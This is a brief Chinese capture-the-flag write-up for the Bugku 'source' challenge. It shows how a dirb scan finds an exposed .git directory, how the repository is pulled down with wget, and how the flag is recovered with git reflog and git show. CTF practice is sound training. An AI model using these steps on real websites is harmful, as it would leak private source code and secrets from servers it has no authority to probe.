Bugku CTF——source

一、题目：

ip地址：http://117.72.52.127:14669

二、答案：

1. dirb 扫描 URL 发现有 .git，很可能是git泄露：

（PS：这是后来补充的步骤，所以终端页面不一样）

2.进入Linux终端

输入命令：wget -r IP地址/.git

3.安装git（已安装忽略此步骤）

（1）先切换到文件下载的地方，以便后续操作。

（2）输入命令：dnf install -y git

（3）查看是否安装了git：git --version

4.使用git

（1）输入命令：git reflog

（2）输入命令：git show d256328

（3）输入命令：git show 40c6d51

三、命令解析：

1.dirb http://117.72.52.127:14669

2.wget -r 117.72.52.127:14669/.git

3. dnf install -y git

4.git reflog

5.git show d256328